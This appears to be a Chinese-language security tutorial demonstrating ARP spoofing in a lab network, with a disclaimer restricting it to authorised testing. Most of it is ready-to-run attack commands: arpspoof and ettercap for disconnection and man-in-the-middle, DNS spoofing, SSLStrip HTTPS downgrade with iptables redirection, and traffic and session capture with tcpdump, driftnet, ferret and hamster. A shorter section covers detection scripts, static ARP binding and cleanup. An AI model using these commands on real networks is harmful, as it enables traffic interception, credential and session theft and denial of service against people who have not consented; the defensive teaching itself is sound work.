叠甲声明

本文仅限网络安全与合法授权测试,所有操作均在内网实现完成,严禁非法用途

【点这里】查看完整ARP攻击视频演示

ARP攻击分为两种:一种是断网攻击,即让目标主机无法上网;另一种是流量劫持(中间人攻击),即让目标主机的流量经过攻击者主机,从而可以窃听或篡改。

我们将使用Kali Linux中的工具进行演示。假设实验环境如下:
攻击者:Kali Linux (IP: 192.168.1.10)
目标主机:Windows 10 (IP: 192.168.1.20)
网关:192.168.1.1

一、实验环境准备
1.1 网络拓扑

[攻击机: Kali Linux] -- [交换机] -- [网关/路由器]
                          |
                    [目标机: Windows]

1.2 环境配置
# 在Kali Linux中配置

ifconfig # 查看网卡信息

# 假设网卡为eth0,IP为192.168.1.10

# 目标IP:192.168.1.20

# 网关IP:192.168.1.1
1.3 工具准备
# 安装必要工具

sudo apt update

sudo apt install -y dsniff ettercap-text-only wireshark tcpdump
二、ARP断网攻击流程

通过向目标发送虚假ARP响应,使目标将网关MAC地址错误映射到攻击机或不存在地址,导致网络中断。

步骤1:信息收集
# 查看当前ARP缓存

arp -a

# 扫描局域网存活主机

sudo netdiscover -i eth0 -r 192.168.1.0/24

# 查看网关信息

route -n
步骤2:实施ARP断网攻击
# 方法1:使用arpspoof(单向欺骗)

# 告诉目标:"我是网关"

sudo arpspoof -i eth0 -t 192.168.1.20 192.168.1.1

# 方法2:使用ettercap(更强大)

sudo ettercap -T -i eth0 -M arp:remote /192.168.1.20// /192.168.1.1//
步骤3:验证攻击效果
# 在目标机上测试网络连通性

ping 8.8.8.8 # 应该超时

# 在攻击机上查看ARP表变化

arp -a 192.168.1.20 # 目标机ARP表应被污染

【点这里】查看完整ARP攻击视频演示

三、ARP流量劫持(中间人攻击)

同时欺骗网关和目标,使双方都认为攻击机是对方,所有流量经过攻击机转发。

完整攻击流程
1:开启IP转发
# 启用Linux内核的IP转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward

# 永久设置(可选)

sudo sysctl -w net.ipv4.ip_forward=1
2:双向ARP欺骗
# 方法1:使用arpspoof双向欺骗

# 终端1:欺骗目标,让目标以为攻击机是网关

sudo arpspoof -i eth0 -t 192.168.1.20 192.168.1.1

# 终端2:欺骗网关,让网关以为攻击机是目标

sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.20

# 方法2:使用ettercap一键完成

sudo ettercap -T -i eth0 -M arp:remote /192.168.1.20// /192.168.1.1//
3:流量监控与分析
# 使用tcpdump捕获流量

sudo tcpdump -i eth0 host 192.168.1.20 -w captured.pcap

# 实时查看HTTP流量(明文)

sudo tcpdump -i eth0 -A tcp port 80

# 使用Wireshark图形界面分析

sudo wireshark &
4:高级流量劫持演示
4.1 DNS欺骗(将域名指向恶意地址)
# 修改ettercap的dns_spoof插件配置

sudo nano /etc/ettercap/etter.dns

# 添加:*.baidu.com A 192.168.1.10

# 启动ettercap并加载dns_spoof插件

sudo ettercap -T -i eth0 -M arp:remote -P dns_spoof /192.168.1.20// /192.168.1.1//
4.2 SSLStrip攻击(降级HTTPS连接)
# 配置iptables重定向HTTP流量

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

# 启动sslstrip

sudo sslstrip -l 8080 -w sslstrip.log

# 然后启动ARP欺骗
4.3 会话劫持演示
# 使用driftnet捕获图片

sudo driftnet -i eth0 -d driftnet_images

# 使用ferret进行会话嗅探

sudo ferret -i eth0

# 使用hamster进行会话劫持

# 需要结合ferret的输出
四、防御与检测演示
1 攻击检测方法
# 在目标机上检测异常ARP

# 方法1:查看ARP表异常

arp -a

# 注意观察网关MAC地址是否变化

# 方法2:使用arpwatch监控

sudo apt install arpwatch

sudo arpwatch -i eth0

# 方法3:编写简单检测脚本

#!/bin/bash

GATEWAY_MAC="00:11:22:33:44:55" # 正确的网关MAC

while true; do

CURRENT_MAC=$(arp -n 192.168.1.1 | awk '{print $3}')

if [ "$CURRENT_MAC" != "$GATEWAY_MAC" ]; then

echo "[!] ARP Spoofing Detected! Gateway MAC changed to $CURRENT_MAC"

# 发送警报或采取防御措施

fi

sleep 5

done
2 防御措施实施
# 1. 静态ARP绑定(Linux)

sudo arp -s 192.168.1.1 00:11:22:33:44:55

# 2. 使用ARP防火墙

sudo apt install arptables

sudo arptables -A INPUT --source-ip 192.168.1.10 -j DROP

# 3. 网络设备防护

# 在交换机上启用端口安全、动态ARP检测(DAI)

【点这里】查看完整ARP攻击视频演示

五、攻击恢复与清理
1 停止攻击
# 停止ARP欺骗进程

pkill arpspoof

pkill ettercap

# 关闭IP转发

echo 0 > /proc/sys/net/ipv4/ip_forward

# 清除iptables规则

sudo iptables -t nat -F
2 恢复网
# 发送正确的ARP包恢复网络

# 方法1:重启网络服务

sudo systemctl restart networking

# 方法2:手动发送正确ARP

sudo arping -c 3 -U -I eth0 -s 192.168.1.20 192.168.1.1

# 清除ARP缓存

sudo ip neigh flush all

【点这里】查看完整ARP攻击视频演示

技术知识是双刃剑,请始终用于合法、道德的网络安全防护工作中,共同维护网络空间安全。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐